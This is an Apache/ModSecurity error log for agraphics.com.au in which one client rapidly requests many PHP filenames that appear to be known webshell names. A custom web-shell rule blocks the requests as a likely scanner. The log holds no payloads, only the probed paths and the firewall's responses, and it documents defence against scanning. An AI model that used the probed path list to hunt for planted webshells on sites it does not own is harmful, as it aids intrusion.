[Sat Apr 18 23:23:39.824089 2026] [:error] [pid 9970:tid 9985] [client 20.203.141.81:31008] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "aeOh-yYdRLRhVmaIMx3v_gAAAMs"]
[Sat Apr 18 23:23:40.425834 2026] [:error] [pid 9970:tid 9995] [client 20.203.141.81:32815] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "aeOh_CYdRLRhVmaIMx3wAwAAANU"]
[Sat Apr 18 23:23:40.971338 2026] [:error] [pid 9970:tid 9987] [client 20.203.141.81:51725] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "aeOh_CYdRLRhVmaIMx3wBgAAAM0"]
[Sat Apr 18 23:23:41.782532 2026] [:error] [pid 9864:tid 9925] [client 20.203.141.81:32245] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "aeOh_YCFeowknfXHM7k30wAAAFM"]
[Sat Apr 18 23:23:42.415394 2026] [:error] [pid 13023:tid 13040] [client 20.203.141.81:61762] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aeOh_v1e7hG8DAeABB9M6QAAAQ8"]
[Sat Apr 18 23:23:43.213041 2026] [:error] [pid 13023:tid 13028] [client 20.203.141.81:32801] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aeOh__1e7hG8DAeABB9M6gAAAQM"]
[Sat Apr 18 23:23:44.059581 2026] [:error] [pid 13023:tid 13045] [client 20.203.141.81:61801] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aeOiAP1e7hG8DAeABB9M8AAAARQ"]
[Sat Apr 18 23:23:44.748084 2026] [:error] [pid 13023:tid 13044] [client 20.203.141.81:30978] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aeOiAP1e7hG8DAeABB9M8wAAARM"]
[Sat Apr 18 23:23:45.468899 2026] [:error] [pid 13023:tid 13049] [client 20.203.141.81:32790] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfun.php"] [unique_id "aeOiAf1e7hG8DAeABB9M-AAAARg"]
[Sat Apr 18 23:23:46.283832 2026] [:error] [pid 13023:tid 13030] [client 20.203.141.81:37929] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfun.php"] [unique_id "aeOiAv1e7hG8DAeABB9M_gAAAQU"]
[Sat Apr 18 23:23:47.085774 2026] [:error] [pid 9970:tid 9988] [client 20.203.141.81:51742] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfun.php"] [unique_id "aeOiAyYdRLRhVmaIMx3wEAAAAM4"]
[Sat Apr 18 23:23:47.806703 2026] [:error] [pid 32677:tid 32702] [client 20.203.141.81:47664] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfun.php"] [unique_id "aeOiAxngmUE3LdC-wP72TwAAAlY"]
[Sat Apr 18 23:23:48.605090 2026] [:error] [pid 9970:tid 9980] [client 20.203.141.81:54791] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeOiBCYdRLRhVmaIMx3wEgAAAMY"]
[Sat Apr 18 23:23:49.200581 2026] [:error] [pid 9970:tid 9981] [client 20.203.141.81:7897] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeOiBSYdRLRhVmaIMx3wFQAAAMc"]
[Sat Apr 18 23:23:50.057074 2026] [:error] [pid 34288:tid 34305] [client 20.203.141.81:7432] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeOiBuTIiy__PtiLmpngqgAAAY0"]
[Sat Apr 18 23:23:50.611328 2026] [:error] [pid 32647:tid 32662] [client 20.203.141.81:54390] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeOiBkkxooM0iRo6e541xAAAAgw"]
[Sat Apr 18 23:23:51.381134 2026] [:error] [pid 9865:tid 9948] [client 20.203.141.81:54798] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "aeOiB6zb5knECIY-C-isPQAAAIs"]
[Sat Apr 18 23:23:52.339849 2026] [:error] [pid 9970:tid 9975] [client 20.203.141.81:61823] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "aeOiCCYdRLRhVmaIMx3wIgAAAME"]
[Sat Apr 18 23:23:53.232270 2026] [:error] [pid 9970:tid 9997] [client 20.203.141.81:64209] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "aeOiCSYdRLRhVmaIMx3wKQAAANc"]
[Sat Apr 18 23:23:54.256137 2026] [:error] [pid 13023:tid 13028] [client 20.203.141.81:64201] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "aeOiCv1e7hG8DAeABB9NCgAAAQM"]
[Sat Apr 18 23:23:55.352346 2026] [:error] [pid 13023:tid 13046] [client 20.203.141.81:37891] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "aeOiC_1e7hG8DAeABB9NDQAAARU"]
[Sat Apr 18 23:23:56.937088 2026] [:error] [pid 32678:tid 32718] [client 20.203.141.81:31029] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "aeOiDBUlAXU_ZWUu5y8ZSAAAAos"]
[Sat Apr 18 23:23:57.688714 2026] [:error] [pid 32678:tid 32709] [client 20.203.141.81:31019] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "aeOiDRUlAXU_ZWUu5y8ZSgAAAoI"]
[Sat Apr 18 23:23:58.430548 2026] [proxy_fcgi:error] [pid 32678:tid 32726] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:23:58.674842 2026] [proxy_fcgi:error] [pid 32678:tid 32725] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:23:58.939070 2026] [proxy_fcgi:error] [pid 32678:tid 32711] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:23:59.215889 2026] [proxy_fcgi:error] [pid 32678:tid 32723] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:23:59.456561 2026] [proxy_fcgi:error] [pid 32678:tid 32728] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:23:59.882036 2026] [proxy_fcgi:error] [pid 32678:tid 32716] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:24:00.123853 2026] [proxy_fcgi:error] [pid 32678:tid 32722] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:24:00.374694 2026] [proxy_fcgi:error] [pid 32678:tid 32729] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:24:00.665855 2026] [proxy_fcgi:error] [pid 32678:tid 32708] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:24:00.952529 2026] [proxy_fcgi:error] [pid 32678:tid 32720] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:24:01.291471 2026] [proxy_fcgi:error] [pid 32678:tid 32707] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:24:01.591490 2026] [:error] [pid 32678:tid 32709] [client 20.203.141.81:30982] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sale.php"] [unique_id "aeOiERUlAXU_ZWUu5y8ZWwAAAoI"]
[Sat Apr 18 23:24:02.867814 2026] [:error] [pid 34290:tid 34329] [client 20.203.141.81:64243] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sale.php"] [unique_id "aeOiEhqX6WpmmAXOBi8v1wAAAco"]
[Sat Apr 18 23:24:03.421081 2026] [:error] [pid 13023:tid 13033] [client 20.203.141.81:37896] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sale.php"] [unique_id "aeOiE_1e7hG8DAeABB9NGwAAAQg"]
[Sat Apr 18 23:24:04.210936 2026] [:error] [pid 9970:tid 9976] [client 20.203.141.81:41157] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sale.php"] [unique_id "aeOiFCYdRLRhVmaIMx3wRgAAAMI"]
[Sat Apr 18 23:24:05.200275 2026] [:error] [pid 13023:tid 13031] [client 20.203.141.81:31017] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa21.php"] [unique_id "aeOiFf1e7hG8DAeABB9NIgAAAQY"]
[Sat Apr 18 23:24:05.911686 2026] [:error] [pid 32677:tid 32687] [client 20.203.141.81:64218] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa21.php"] [unique_id "aeOiFRngmUE3LdC-wP72WAAAAkc"]
[Sat Apr 18 23:24:06.757085 2026] [:error] [pid 13023:tid 13049] [client 20.203.141.81:39878] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa21.php"] [unique_id "aeOiFv1e7hG8DAeABB9NJAAAARg"]
[Sat Apr 18 23:24:07.597992 2026] [:error] [pid 9865:tid 9947] [client 20.203.141.81:64231] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa21.php"] [unique_id "aeOiF6zb5knECIY-C-isSgAAAIo"]
[Sat Apr 18 23:24:08.498896 2026] [:error] [pid 34290:tid 34327] [client 20.203.141.81:32771] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws73.php"] [unique_id "aeOiGBqX6WpmmAXOBi8v2wAAAcg"]
[Sat Apr 18 23:24:09.420760 2026] [:error] [pid 9970:tid 9977] [client 20.203.141.81:63735] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws73.php"] [unique_id "aeOiGSYdRLRhVmaIMx3wWQAAAMM"]
[Sat Apr 18 23:24:10.054269 2026] [:error] [pid 9970:tid 9985] [client 20.203.141.81:64246] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws73.php"] [unique_id "aeOiGiYdRLRhVmaIMx3wXAAAAMs"]
[Sat Apr 18 23:24:10.596277 2026] [:error] [pid 34290:tid 34323] [client 20.203.141.81:61821] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws73.php"] [unique_id "aeOiGhqX6WpmmAXOBi8v3AAAAcQ"]
[Sat Apr 18 23:24:11.275510 2026] [:error] [pid 13023:tid 13045] [client 20.203.141.81:7892] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bootstrap.php"] [unique_id "aeOiG_1e7hG8DAeABB9NKgAAARQ"]
[Sat Apr 18 23:24:11.958437 2026] [:error] [pid 13023:tid 13026] [client 20.203.141.81:63704] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bootstrap.php"] [unique_id "aeOiG_1e7hG8DAeABB9NLQAAAQE"]
[Sat Apr 18 23:24:12.550813 2026] [:error] [pid 9865:tid 9957] [client 20.203.141.81:56963] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bootstrap.php"] [unique_id "aeOiHKzb5knECIY-C-isUAAAAJQ"]
[Sat Apr 18 23:24:13.199513 2026] [:error] [pid 9865:tid 9938] [client 20.203.141.81:30989] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bootstrap.php"] [unique_id "aeOiHazb5knECIY-C-isUgAAAIE"]
[Sat Apr 18 23:24:13.777822 2026] [:error] [pid 34290:tid 34342] [client 20.203.141.81:56986] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "aeOiHRqX6WpmmAXOBi8v4AAAAdc"]
[Sat Apr 18 23:24:15.039949 2026] [:error] [pid 32678:tid 32730] [client 20.203.141.81:63724] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "aeOiHxUlAXU_ZWUu5y8ZYAAAApc"]
[Sat Apr 18 23:24:15.700821 2026] [:error] [pid 9865:tid 9937] [client 20.203.141.81:54813] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "aeOiH6zb5knECIY-C-isVQAAAIA"]
[Sat Apr 18 23:24:16.496795 2026] [:error] [pid 34288:tid 34314] [client 20.203.141.81:56979] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "aeOiIOTIiy__PtiLmpngrgAAAZY"]
[Sat Apr 18 23:24:17.432483 2026] [:error] [pid 13023:tid 13026] [client 20.203.141.81:7900] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aeOiIf1e7hG8DAeABB9NNwAAAQE"]
[Sat Apr 18 23:24:18.115180 2026] [:error] [pid 32677:tid 32699] [client 20.203.141.81:41169] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aeOiIhngmUE3LdC-wP72XwAAAlM"]
[Sat Apr 18 23:24:18.822550 2026] [:error] [pid 9970:tid 9994] [client 20.203.141.81:51754] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aeOiIiYdRLRhVmaIMx3wcQAAANQ"]
[Sat Apr 18 23:24:19.366088 2026] [:error] [pid 32677:tid 32688] [client 20.203.141.81:41203] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aeOiIxngmUE3LdC-wP72YgAAAkg"]
[Sat Apr 18 23:24:20.609035 2026] [:error] [pid 32678:tid 32726] [client 20.203.141.81:64208] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/green.php"] [unique_id "aeOiJBUlAXU_ZWUu5y8ZZQAAApM"]
[Sat Apr 18 23:24:21.173996 2026] [:error] [pid 32678:tid 32711] [client 20.203.141.81:54792] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/green.php"] [unique_id "aeOiJRUlAXU_ZWUu5y8ZZwAAAoQ"]
[Sat Apr 18 23:24:21.739916 2026] [:error] [pid 32678:tid 32714] [client 20.203.141.81:31021] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/green.php"] [unique_id "aeOiJRUlAXU_ZWUu5y8ZagAAAoc"]
[Sat Apr 18 23:24:22.309177 2026] [:error] [pid 9865:tid 9958] [client 20.203.141.81:30988] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/green.php"] [unique_id "aeOiJqzb5knECIY-C-isWwAAAJU"]
[Sat Apr 18 23:24:23.639461 2026] [:error] [pid 9970:tid 9975] [client 20.203.141.81:41195] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "aeOiJyYdRLRhVmaIMx3weAAAAME"]
[Sat Apr 18 23:24:25.260543 2026] [:error] [pid 9970:tid 9989] [client 20.203.141.81:64253] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "aeOiKSYdRLRhVmaIMx3wfwAAAM8"]
